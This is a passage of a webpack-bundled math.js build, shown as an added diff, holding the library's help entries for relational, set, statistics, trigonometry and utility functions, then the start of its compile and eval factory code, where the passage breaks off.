+/* 494 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'deepEqual', + 'category': 'Relational', + 'syntax': ['deepEqual(x, y)'], + 'description': 'Check equality of two matrices element wise. Returns true if the size of both matrices is equal and when and each of the elements are equal.', + 'examples': ['deepEqual([1,3,4], [1,3,4])', 'deepEqual([1,3,4], [1,3])'], + 'seealso': ['equal', 'unequal', 'smaller', 'larger', 'smallerEq', 'largerEq', 'compare'] +}; + +/***/ }), +/* 495 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'equal', + 'category': 'Relational', + 'syntax': ['x == y', 'equal(x, y)'], + 'description': 'Check equality of two values. Returns true if the values are equal, and false if not.', + 'examples': ['2+2 == 3', '2+2 == 4', 'a = 3.2', 'b = 6-2.8', 'a == b', '50cm == 0.5m'], + 'seealso': ['unequal', 'smaller', 'larger', 'smallerEq', 'largerEq', 'compare', 'deepEqual', 'equalText'] +}; + +/***/ }), +/* 496 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'equalText', + 'category': 'Relational', + 'syntax': ['equalText(x, y)'], + 'description': 'Check equality of two strings. Comparison is case sensitive. Returns true if the values are equal, and false if not.', + 'examples': ['equalText("Hello", "Hello")', 'equalText("a", "A")', 'equal("2e3", "2000")', 'equalText("2e3", "2000")', 'equalText("B", ["A", "B", "C"])'], + 'seealso': ['compare', 'compareNatural', 'compareText', 'equal'] +}; + +/***/ }), +/* 497 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'larger', + 'category': 'Relational', + 'syntax': ['x > y', 'larger(x, y)'], + 'description': 'Check if value x is larger than y. Returns true if x is larger than y, and false if not.', + 'examples': ['2 > 3', '5 > 2*2', 'a = 3.3', 'b = 6-2.8', '(a > b)', '(b < a)', '5 cm > 2 inch'], + 'seealso': ['equal', 'unequal', 'smaller', 'smallerEq', 'largerEq', 'compare'] +}; + +/***/ }), +/* 498 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'largerEq', + 'category': 'Relational', + 'syntax': ['x >= y', 'largerEq(x, y)'], + 'description': 'Check if value x is larger or equal to y. Returns true if x is larger or equal to y, and false if not.', + 'examples': ['2 >= 1+1', '2 > 1+1', 'a = 3.2', 'b = 6-2.8', '(a >= b)'], + 'seealso': ['equal', 'unequal', 'smallerEq', 'smaller', 'compare'] +}; + +/***/ }), +/* 499 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'smaller', + 'category': 'Relational', + 'syntax': ['x < y', 'smaller(x, y)'], + 'description': 'Check if value x is smaller than value y. Returns true if x is smaller than y, and false if not.', + 'examples': ['2 < 3', '5 < 2*2', 'a = 3.3', 'b = 6-2.8', '(a < b)', '5 cm < 2 inch'], + 'seealso': ['equal', 'unequal', 'larger', 'smallerEq', 'largerEq', 'compare'] +}; + +/***/ }), +/* 500 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'smallerEq', + 'category': 'Relational', + 'syntax': ['x <= y', 'smallerEq(x, y)'], + 'description': 'Check if value x is smaller or equal to value y. Returns true if x is smaller than y, and false if not.', + 'examples': ['2 <= 1+1', '2 < 1+1', 'a = 3.2', 'b = 6-2.8', '(a <= b)'], + 'seealso': ['equal', 'unequal', 'larger', 'smaller', 'largerEq', 'compare'] +}; + +/***/ }), +/* 501 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'unequal', + 'category': 'Relational', + 'syntax': ['x != y', 'unequal(x, y)'], + 'description': 'Check unequality of two values. Returns true if the values are unequal, and false if they are equal.', + 'examples': ['2+2 != 3', '2+2 != 4', 'a = 3.2', 'b = 6-2.8', 'a != b', '50cm != 0.5m', '5 cm != 2 inch'], + 'seealso': ['equal', 'smaller', 'larger', 'smallerEq', 'largerEq', 'compare', 'deepEqual'] +}; + +/***/ }), +/* 502 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'setCartesian', + 'category': 'Set', + 'syntax': ['setCartesian(set1, set2)'], + 'description': 'Create the cartesian product of two (multi)sets. Multi-dimension arrays will be converted to single-dimension arrays before the operation.', + 'examples': ['setCartesian([1, 2], [3, 4])'], + 'seealso': ['setUnion', 'setIntersect', 'setDifference', 'setPowerset'] +}; + +/***/ }), +/* 503 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'setDifference', + 'category': 'Set', + 'syntax': ['setDifference(set1, set2)'], + 'description': 'Create the difference of two (multi)sets: every element of set1, that is not the element of set2. Multi-dimension arrays will be converted to single-dimension arrays before the operation.', + 'examples': ['setDifference([1, 2, 3, 4], [3, 4, 5, 6])', 'setDifference([[1, 2], [3, 4]], [[3, 4], [5, 6]])'], + 'seealso': ['setUnion', 'setIntersect', 'setSymDifference'] +}; + +/***/ }), +/* 504 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'setDistinct', + 'category': 'Set', + 'syntax': ['setDistinct(set)'], + 'description': 'Collect the distinct elements of a multiset. A multi-dimension array will be converted to a single-dimension array before the operation.', + 'examples': ['setDistinct([1, 1, 1, 2, 2, 3])'], + 'seealso': ['setMultiplicity'] +}; + +/***/ }), +/* 505 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'setIntersect', + 'category': 'Set', + 'syntax': ['setIntersect(set1, set2)'], + 'description': 'Create the intersection of two (multi)sets. Multi-dimension arrays will be converted to single-dimension arrays before the operation.', + 'examples': ['setIntersect([1, 2, 3, 4], [3, 4, 5, 6])', 'setIntersect([[1, 2], [3, 4]], [[3, 4], [5, 6]])'], + 'seealso': ['setUnion', 'setDifference'] +}; + +/***/ }), +/* 506 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'setIsSubset', + 'category': 'Set', + 'syntax': ['setIsSubset(set1, set2)'], + 'description': 'Check whether a (multi)set is a subset of another (multi)set: every element of set1 is the element of set2. Multi-dimension arrays will be converted to single-dimension arrays before the operation.', + 'examples': ['setIsSubset([1, 2], [3, 4, 5, 6])', 'setIsSubset([3, 4], [3, 4, 5, 6])'], + 'seealso': ['setUnion', 'setIntersect', 'setDifference'] +}; + +/***/ }), +/* 507 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'setMultiplicity', + 'category': 'Set', + 'syntax': ['setMultiplicity(element, set)'], + 'description': 'Count the multiplicity of an element in a multiset. A multi-dimension array will be converted to a single-dimension array before the operation.', + 'examples': ['setMultiplicity(1, [1, 2, 2, 4])', 'setMultiplicity(2, [1, 2, 2, 4])'], + 'seealso': ['setDistinct', 'setSize'] +}; + +/***/ }), +/* 508 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'setPowerset', + 'category': 'Set', + 'syntax': ['setPowerset(set)'], + 'description': 'Create the powerset of a (multi)set: the powerset contains very possible subsets of a (multi)set. A multi-dimension array will be converted to a single-dimension array before the operation.', + 'examples': ['setPowerset([1, 2, 3])'], + 'seealso': ['setCartesian'] +}; + +/***/ }), +/* 509 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'setSize', + 'category': 'Set', + 'syntax': ['setSize(set)', 'setSize(set, unique)'], + 'description': 'Count the number of elements of a (multi)set. When the second parameter "unique" is true, count only the unique values. A multi-dimension array will be converted to a single-dimension array before the operation.', + 'examples': ['setSize([1, 2, 2, 4])', 'setSize([1, 2, 2, 4], true)'], + 'seealso': ['setUnion', 'setIntersect', 'setDifference'] +}; + +/***/ }), +/* 510 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'setSymDifference', + 'category': 'Set', + 'syntax': ['setSymDifference(set1, set2)'], + 'description': 'Create the symmetric difference of two (multi)sets. Multi-dimension arrays will be converted to single-dimension arrays before the operation.', + 'examples': ['setSymDifference([1, 2, 3, 4], [3, 4, 5, 6])', 'setSymDifference([[1, 2], [3, 4]], [[3, 4], [5, 6]])'], + 'seealso': ['setUnion', 'setIntersect', 'setDifference'] +}; + +/***/ }), +/* 511 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'setUnion', + 'category': 'Set', + 'syntax': ['setUnion(set1, set2)'], + 'description': 'Create the union of two (multi)sets. Multi-dimension arrays will be converted to single-dimension arrays before the operation.', + 'examples': ['setUnion([1, 2, 3, 4], [3, 4, 5, 6])', 'setUnion([[1, 2], [3, 4]], [[3, 4], [5, 6]])'], + 'seealso': ['setIntersect', 'setDifference'] +}; + +/***/ }), +/* 512 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'erf', + 'category': 'Special', + 'syntax': ['erf(x)'], + 'description': 'Compute the erf function of a value using a rational Chebyshev approximations for different intervals of x', + 'examples': ['erf(0.2)', 'erf(-0.5)', 'erf(4)'], + 'seealso': [] +}; + +/***/ }), +/* 513 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'mad', + 'category': 'Statistics', + 'syntax': ['mad(a, b, c, ...)', 'mad(A)'], + 'description': 'Compute the median absolute deviation of a matrix or a list with values. The median absolute deviation is defined as the median of the absolute deviations from the median.', + 'examples': ['mad(10, 20, 30)', 'mad([1, 2, 3])'], + 'seealso': ['mean', 'median', 'std', 'abs'] +}; + +/***/ }), +/* 514 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'max', + 'category': 'Statistics', + 'syntax': ['max(a, b, c, ...)', 'max(A)', 'max(A, dim)'], + 'description': 'Compute the maximum value of a list of values.', + 'examples': ['max(2, 3, 4, 1)', 'max([2, 3, 4, 1])', 'max([2, 5; 4, 3])', 'max([2, 5; 4, 3], 1)', 'max([2, 5; 4, 3], 2)', 'max(2.7, 7.1, -4.5, 2.0, 4.1)', 'min(2.7, 7.1, -4.5, 2.0, 4.1)'], + 'seealso': ['mean', 'median', 'min', 'prod', 'std', 'sum', 'var'] +}; + +/***/ }), +/* 515 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'mean', + 'category': 'Statistics', + 'syntax': ['mean(a, b, c, ...)', 'mean(A)', 'mean(A, dim)'], + 'description': 'Compute the arithmetic mean of a list of values.', + 'examples': ['mean(2, 3, 4, 1)', 'mean([2, 3, 4, 1])', 'mean([2, 5; 4, 3])', 'mean([2, 5; 4, 3], 1)', 'mean([2, 5; 4, 3], 2)', 'mean([1.0, 2.7, 3.2, 4.0])'], + 'seealso': ['max', 'median', 'min', 'prod', 'std', 'sum', 'var'] +}; + +/***/ }), +/* 516 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'median', + 'category': 'Statistics', + 'syntax': ['median(a, b, c, ...)', 'median(A)'], + 'description': 'Compute the median of all values. The values are sorted and the middle value is returned. In case of an even number of values, the average of the two middle values is returned.', + 'examples': ['median(5, 2, 7)', 'median([3, -1, 5, 7])'], + 'seealso': ['max', 'mean', 'min', 'prod', 'std', 'sum', 'var', 'quantileSeq'] +}; + +/***/ }), +/* 517 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'min', + 'category': 'Statistics', + 'syntax': ['min(a, b, c, ...)', 'min(A)', 'min(A, dim)'], + 'description': 'Compute the minimum value of a list of values.', + 'examples': ['min(2, 3, 4, 1)', 'min([2, 3, 4, 1])', 'min([2, 5; 4, 3])', 'min([2, 5; 4, 3], 1)', 'min([2, 5; 4, 3], 2)', 'min(2.7, 7.1, -4.5, 2.0, 4.1)', 'max(2.7, 7.1, -4.5, 2.0, 4.1)'], + 'seealso': ['max', 'mean', 'median', 'prod', 'std', 'sum', 'var'] +}; + +/***/ }), +/* 518 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'mode', + 'category': 'Statistics', + 'syntax': ['mode(a, b, c, ...)', 'mode(A)', 'mode(A, a, b, B, c, ...)'], + 'description': 'Computes the mode of all values as an array. In case mode being more than one, multiple values are returned in an array.', + 'examples': ['mode(2, 1, 4, 3, 1)', 'mode([1, 2.7, 3.2, 4, 2.7])', 'mode(1, 4, 6, 1, 6)'], + 'seealso': ['max', 'mean', 'min', 'median', 'prod', 'std', 'sum', 'var'] +}; + +/***/ }), +/* 519 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'prod', + 'category': 'Statistics', + 'syntax': ['prod(a, b, c, ...)', 'prod(A)'], + 'description': 'Compute the product of all values.', + 'examples': ['prod(2, 3, 4)', 'prod([2, 3, 4])', 'prod([2, 5; 4, 3])'], + 'seealso': ['max', 'mean', 'min', 'median', 'min', 'std', 'sum', 'var'] +}; + +/***/ }), +/* 520 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'quantileSeq', + 'category': 'Statistics', + 'syntax': ['quantileSeq(A, prob[, sorted])', 'quantileSeq(A, [prob1, prob2, ...][, sorted])', 'quantileSeq(A, N[, sorted])'], + 'description': 'Compute the prob order quantile of a matrix or a list with values. The sequence is sorted and the middle value is returned. Supported types of sequence values are: Number, BigNumber, Unit Supported types of probablity are: Number, BigNumber. \n\nIn case of a (multi dimensional) array or matrix, the prob order quantile of all elements will be calculated.', + 'examples': ['quantileSeq([3, -1, 5, 7], 0.5)', 'quantileSeq([3, -1, 5, 7], [1/3, 2/3])', 'quantileSeq([3, -1, 5, 7], 2)', 'quantileSeq([-1, 3, 5, 7], 0.5, true)'], + 'seealso': ['mean', 'median', 'min', 'max', 'prod', 'std', 'sum', 'var'] +}; + +/***/ }), +/* 521 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'std', + 'category': 'Statistics', + 'syntax': ['std(a, b, c, ...)', 'std(A)', 'std(A, normalization)'], + 'description': 'Compute the standard deviation of all values, defined as std(A) = sqrt(var(A)). Optional parameter normalization can be "unbiased" (default), "uncorrected", or "biased".', + 'examples': ['std(2, 4, 6)', 'std([2, 4, 6, 8])', 'std([2, 4, 6, 8], "uncorrected")', 'std([2, 4, 6, 8], "biased")', 'std([1, 2, 3; 4, 5, 6])'], + 'seealso': ['max', 'mean', 'min', 'median', 'min', 'prod', 'sum', 'var'] +}; + +/***/ }), +/* 522 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'sum', + 'category': 'Statistics', + 'syntax': ['sum(a, b, c, ...)', 'sum(A)'], + 'description': 'Compute the sum of all values.', + 'examples': ['sum(2, 3, 4, 1)', 'sum([2, 3, 4, 1])', 'sum([2, 5; 4, 3])'], + 'seealso': ['max', 'mean', 'median', 'min', 'prod', 'std', 'sum', 'var'] +}; + +/***/ }), +/* 523 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'var', + 'category': 'Statistics', + 'syntax': ['var(a, b, c, ...)', 'var(A)', 'var(A, normalization)'], + 'description': 'Compute the variance of all values. Optional parameter normalization can be "unbiased" (default), "uncorrected", or "biased".', + 'examples': ['var(2, 4, 6)', 'var([2, 4, 6, 8])', 'var([2, 4, 6, 8], "uncorrected")', 'var([2, 4, 6, 8], "biased")', 'var([1, 2, 3; 4, 5, 6])'], + 'seealso': ['max', 'mean', 'min', 'median', 'min', 'prod', 'std', 'sum'] +}; + +/***/ }), +/* 524 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'acos', + 'category': 'Trigonometry', + 'syntax': ['acos(x)'], + 'description': 'Compute the inverse cosine of a value in radians.', + 'examples': ['acos(0.5)', 'acos(cos(2.3))'], + 'seealso': ['cos', 'atan', 'asin'] +}; + +/***/ }), +/* 525 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'acosh', + 'category': 'Trigonometry', + 'syntax': ['acosh(x)'], + 'description': 'Calculate the hyperbolic arccos of a value, defined as `acosh(x) = ln(sqrt(x^2 - 1) + x)`.', + 'examples': ['acosh(1.5)'], + 'seealso': ['cosh', 'asinh', 'atanh'] +}; + +/***/ }), +/* 526 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'acot', + 'category': 'Trigonometry', + 'syntax': ['acot(x)'], + 'description': 'Calculate the inverse cotangent of a value.', + 'examples': ['acot(0.5)', 'acot(cot(0.5))', 'acot(2)'], + 'seealso': ['cot', 'atan'] +}; + +/***/ }), +/* 527 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'acoth', + 'category': 'Trigonometry', + 'syntax': ['acoth(x)'], + 'description': 'Calculate the hyperbolic arccotangent of a value, defined as `acoth(x) = (ln((x+1)/x) + ln(x/(x-1))) / 2`.', + 'examples': ['acoth(2)', 'acoth(0.5)'], + 'seealso': ['acsch', 'asech'] +}; + +/***/ }), +/* 528 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'acsc', + 'category': 'Trigonometry', + 'syntax': ['acsc(x)'], + 'description': 'Calculate the inverse cotangent of a value.', + 'examples': ['acsc(2)', 'acsc(csc(0.5))', 'acsc(0.5)'], + 'seealso': ['csc', 'asin', 'asec'] +}; + +/***/ }), +/* 529 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'acsch', + 'category': 'Trigonometry', + 'syntax': ['acsch(x)'], + 'description': 'Calculate the hyperbolic arccosecant of a value, defined as `acsch(x) = ln(1/x + sqrt(1/x^2 + 1))`.', + 'examples': ['acsch(0.5)'], + 'seealso': ['asech', 'acoth'] +}; + +/***/ }), +/* 530 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'asec', + 'category': 'Trigonometry', + 'syntax': ['asec(x)'], + 'description': 'Calculate the inverse secant of a value.', + 'examples': ['asec(0.5)', 'asec(sec(0.5))', 'asec(2)'], + 'seealso': ['acos', 'acot', 'acsc'] +}; + +/***/ }), +/* 531 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'asech', + 'category': 'Trigonometry', + 'syntax': ['asech(x)'], + 'description': 'Calculate the inverse secant of a value.', + 'examples': ['asech(0.5)'], + 'seealso': ['acsch', 'acoth'] +}; + +/***/ }), +/* 532 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'asin', + 'category': 'Trigonometry', + 'syntax': ['asin(x)'], + 'description': 'Compute the inverse sine of a value in radians.', + 'examples': ['asin(0.5)', 'asin(sin(0.5))'], + 'seealso': ['sin', 'acos', 'atan'] +}; + +/***/ }), +/* 533 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'asinh', + 'category': 'Trigonometry', + 'syntax': ['asinh(x)'], + 'description': 'Calculate the hyperbolic arcsine of a value, defined as `asinh(x) = ln(x + sqrt(x^2 + 1))`.', + 'examples': ['asinh(0.5)'], + 'seealso': ['acosh', 'atanh'] +}; + +/***/ }), +/* 534 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'atan', + 'category': 'Trigonometry', + 'syntax': ['atan(x)'], + 'description': 'Compute the inverse tangent of a value in radians.', + 'examples': ['atan(0.5)', 'atan(tan(0.5))'], + 'seealso': ['tan', 'acos', 'asin'] +}; + +/***/ }), +/* 535 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'atanh', + 'category': 'Trigonometry', + 'syntax': ['atanh(x)'], + 'description': 'Calculate the hyperbolic arctangent of a value, defined as `atanh(x) = ln((1 + x)/(1 - x)) / 2`.', + 'examples': ['atanh(0.5)'], + 'seealso': ['acosh', 'asinh'] +}; + +/***/ }), +/* 536 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'atan2', + 'category': 'Trigonometry', + 'syntax': ['atan2(y, x)'], + 'description': 'Computes the principal value of the arc tangent of y/x in radians.', + 'examples': ['atan2(2, 2) / pi', 'angle = 60 deg in rad', 'x = cos(angle)', 'y = sin(angle)', 'atan2(y, x)'], + 'seealso': ['sin', 'cos', 'tan'] +}; + +/***/ }), +/* 537 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'cos', + 'category': 'Trigonometry', + 'syntax': ['cos(x)'], + 'description': 'Compute the cosine of x in radians.', + 'examples': ['cos(2)', 'cos(pi / 4) ^ 2', 'cos(180 deg)', 'cos(60 deg)', 'sin(0.2)^2 + cos(0.2)^2'], + 'seealso': ['acos', 'sin', 'tan'] +}; + +/***/ }), +/* 538 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'cosh', + 'category': 'Trigonometry', + 'syntax': ['cosh(x)'], + 'description': 'Compute the hyperbolic cosine of x in radians.', + 'examples': ['cosh(0.5)'], + 'seealso': ['sinh', 'tanh', 'coth'] +}; + +/***/ }), +/* 539 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'cot', + 'category': 'Trigonometry', + 'syntax': ['cot(x)'], + 'description': 'Compute the cotangent of x in radians. Defined as 1/tan(x)', + 'examples': ['cot(2)', '1 / tan(2)'], + 'seealso': ['sec', 'csc', 'tan'] +}; + +/***/ }), +/* 540 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'coth', + 'category': 'Trigonometry', + 'syntax': ['coth(x)'], + 'description': 'Compute the hyperbolic cotangent of x in radians.', + 'examples': ['coth(2)', '1 / tanh(2)'], + 'seealso': ['sech', 'csch', 'tanh'] +}; + +/***/ }), +/* 541 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'csc', + 'category': 'Trigonometry', + 'syntax': ['csc(x)'], + 'description': 'Compute the cosecant of x in radians. Defined as 1/sin(x)', + 'examples': ['csc(2)', '1 / sin(2)'], + 'seealso': ['sec', 'cot', 'sin'] +}; + +/***/ }), +/* 542 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'csch', + 'category': 'Trigonometry', + 'syntax': ['csch(x)'], + 'description': 'Compute the hyperbolic cosecant of x in radians. Defined as 1/sinh(x)', + 'examples': ['csch(2)', '1 / sinh(2)'], + 'seealso': ['sech', 'coth', 'sinh'] +}; + +/***/ }), +/* 543 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'sec', + 'category': 'Trigonometry', + 'syntax': ['sec(x)'], + 'description': 'Compute the secant of x in radians. Defined as 1/cos(x)', + 'examples': ['sec(2)', '1 / cos(2)'], + 'seealso': ['cot', 'csc', 'cos'] +}; + +/***/ }), +/* 544 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'sech', + 'category': 'Trigonometry', + 'syntax': ['sech(x)'], + 'description': 'Compute the hyperbolic secant of x in radians. Defined as 1/cosh(x)', + 'examples': ['sech(2)', '1 / cosh(2)'], + 'seealso': ['coth', 'csch', 'cosh'] +}; + +/***/ }), +/* 545 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'sin', + 'category': 'Trigonometry', + 'syntax': ['sin(x)'], + 'description': 'Compute the sine of x in radians.', + 'examples': ['sin(2)', 'sin(pi / 4) ^ 2', 'sin(90 deg)', 'sin(30 deg)', 'sin(0.2)^2 + cos(0.2)^2'], + 'seealso': ['asin', 'cos', 'tan'] +}; + +/***/ }), +/* 546 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'sinh', + 'category': 'Trigonometry', + 'syntax': ['sinh(x)'], + 'description': 'Compute the hyperbolic sine of x in radians.', + 'examples': ['sinh(0.5)'], + 'seealso': ['cosh', 'tanh'] +}; + +/***/ }), +/* 547 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'tan', + 'category': 'Trigonometry', + 'syntax': ['tan(x)'], + 'description': 'Compute the tangent of x in radians.', + 'examples': ['tan(0.5)', 'sin(0.5) / cos(0.5)', 'tan(pi / 4)', 'tan(45 deg)'], + 'seealso': ['atan', 'sin', 'cos'] +}; + +/***/ }), +/* 548 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'tanh', + 'category': 'Trigonometry', + 'syntax': ['tanh(x)'], + 'description': 'Compute the hyperbolic tangent of x in radians.', + 'examples': ['tanh(0.5)', 'sinh(0.5) / cosh(0.5)'], + 'seealso': ['sinh', 'cosh'] +}; + +/***/ }), +/* 549 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'to', + 'category': 'Units', + 'syntax': ['x to unit', 'to(x, unit)'], + 'description': 'Change the unit of a value.', + 'examples': ['5 inch to cm', '3.2kg to g', '16 bytes in bits'], + 'seealso': [] +}; + +/***/ }), +/* 550 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'clone', + 'category': 'Utils', + 'syntax': ['clone(x)'], + 'description': 'Clone a variable. Creates a copy of primitive variables,and a deep copy of matrices', + 'examples': ['clone(3.5)', 'clone(2 - 4i)', 'clone(45 deg)', 'clone([1, 2; 3, 4])', 'clone("hello world")'], + 'seealso': [] +}; + +/***/ }), +/* 551 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'format', + 'category': 'Utils', + 'syntax': ['format(value)', 'format(value, precision)'], + 'description': 'Format a value of any type as string.', + 'examples': ['format(2.3)', 'format(3 - 4i)', 'format([])', 'format(pi, 3)'], + 'seealso': ['print'] +}; + +/***/ }), +/* 552 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'isNaN', + 'category': 'Utils', + 'syntax': ['isNaN(x)'], + 'description': 'Test whether a value is NaN (not a number)', + 'examples': ['isNaN(2)', 'isNaN(0 / 0)', 'isNaN(NaN)', 'isNaN(Infinity)'], + 'seealso': ['isNegative', 'isNumeric', 'isPositive', 'isZero'] +}; + +/***/ }), +/* 553 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'isInteger', + 'category': 'Utils', + 'syntax': ['isInteger(x)'], + 'description': 'Test whether a value is an integer number.', + 'examples': ['isInteger(2)', 'isInteger(3.5)', 'isInteger([3, 0.5, -2])'], + 'seealso': ['isNegative', 'isNumeric', 'isPositive', 'isZero'] +}; + +/***/ }), +/* 554 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'isNegative', + 'category': 'Utils', + 'syntax': ['isNegative(x)'], + 'description': 'Test whether a value is negative: smaller than zero.', + 'examples': ['isNegative(2)', 'isNegative(0)', 'isNegative(-4)', 'isNegative([3, 0.5, -2])'], + 'seealso': ['isInteger', 'isNumeric', 'isPositive', 'isZero'] +}; + +/***/ }), +/* 555 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'isNumeric', + 'category': 'Utils', + 'syntax': ['isNumeric(x)'], + 'description': 'Test whether a value is a numeric value. ' + 'Returns true when the input is a number, BigNumber, Fraction, or boolean.', + 'examples': ['isNumeric(2)', 'isNumeric("2")', 'hasNumericValue("2")', 'isNumeric(0)', 'isNumeric(bignumber(500))', 'isNumeric(fraction(0.125))', 'isNumeric(2 + 3i)', 'isNumeric([2.3, "foo", false])'], + 'seealso': ['isInteger', 'isZero', 'isNegative', 'isPositive', 'isNaN', 'hasNumericValue'] +}; + +/***/ }), +/* 556 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'hasNumericValue', + 'category': 'Utils', + 'syntax': ['hasNumericValue(x)'], + 'description': 'Test whether a value is an numeric value. ' + 'In case of a string, true is returned if the string contains a numeric value.', + 'examples': ['hasNumericValue(2)', 'hasNumericValue("2")', 'isNumeric("2")', 'hasNumericValue(0)', 'hasNumericValue(bignumber(500))', 'hasNumericValue(fraction(0.125))', 'hasNumericValue(2 + 3i)', 'hasNumericValue([2.3, "foo", false])'], + 'seealso': ['isInteger', 'isZero', 'isNegative', 'isPositive', 'isNaN', 'isNumeric'] +}; + +/***/ }), +/* 557 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'isPositive', + 'category': 'Utils', + 'syntax': ['isPositive(x)'], + 'description': 'Test whether a value is positive: larger than zero.', + 'examples': ['isPositive(2)', 'isPositive(0)', 'isPositive(-4)', 'isPositive([3, 0.5, -2])'], + 'seealso': ['isInteger', 'isNumeric', 'isNegative', 'isZero'] +}; + +/***/ }), +/* 558 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'isPrime', + 'category': 'Utils', + 'syntax': ['isPrime(x)'], + 'description': 'Test whether a value is prime: has no divisors other than itself and one.', + 'examples': ['isPrime(3)', 'isPrime(-2)', 'isPrime([2, 17, 100])'], + 'seealso': ['isInteger', 'isNumeric', 'isNegative', 'isZero'] +}; + +/***/ }), +/* 559 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'isZero', + 'category': 'Utils', + 'syntax': ['isZero(x)'], + 'description': 'Test whether a value is zero.', + 'examples': ['isZero(2)', 'isZero(0)', 'isZero(-4)', 'isZero([3, 0, -2, 0])'], + 'seealso': ['isInteger', 'isNumeric', 'isNegative', 'isPositive'] +}; + +/***/ }), +/* 560 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'typeof', + 'category': 'Utils', + 'syntax': ['typeof(x)'], + 'description': 'Get the type of a variable.', + 'examples': ['typeof(3.5)', 'typeof(2 - 4i)', 'typeof(45 deg)', 'typeof("hello world")'], + 'seealso': ['getMatrixDataType'] +}; + +/***/ }), +/* 561 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(562), __webpack_require__(563), __webpack_require__(564), __webpack_require__(129), __webpack_require__(158)]; + +/***/ }), +/* 562 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + var parse = load(__webpack_require__(44)); + /** + * Parse and compile an expression. + * Returns a an object with a function `eval([scope])` to evaluate the + * compiled expression. + * + * Syntax: + * + * math.compile(expr) // returns one node + * math.compile([expr1, expr2, expr3, ...]) // returns an array with nodes + * + * Examples: + * + * const code1 = math.compile('sqrt(3^2 + 4^2)') + * code1.eval() // 5 + * + * let scope = {a: 3, b: 4} + * const code2 = math.compile('a * b') // 12 + * code2.eval(scope) // 12 + * scope.a = 5 + * code2.eval(scope) // 20 + * + * const nodes = math.compile(['a = 3', 'b = 4', 'a * b']) + * nodes[2].eval() // 12 + * + * See also: + * + * parse, eval + * + * @param {string | string[] | Array | Matrix} expr + * The expression to be compiled + * @return {{eval: Function} | Array.<{eval: Function}>} code + * An object with the compiled expression + * @throws {Error} + */ + + return typed('compile', { + 'string': function string(expr) { + return parse(expr).compile(); + }, + 'Array | Matrix': function ArrayMatrix(expr) { + return deepMap(expr, function (entry) { + return parse(entry).compile(); + }); + } + }); +} + +exports.name = 'compile'; +exports.factory = factory; + +/***/ }), +/* 563 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + var parse = load(__webpack_require__(44)); + /** + * Evaluate an expression. + * + * Note the evaluating arbitrary expressions may involve security risks, + * see 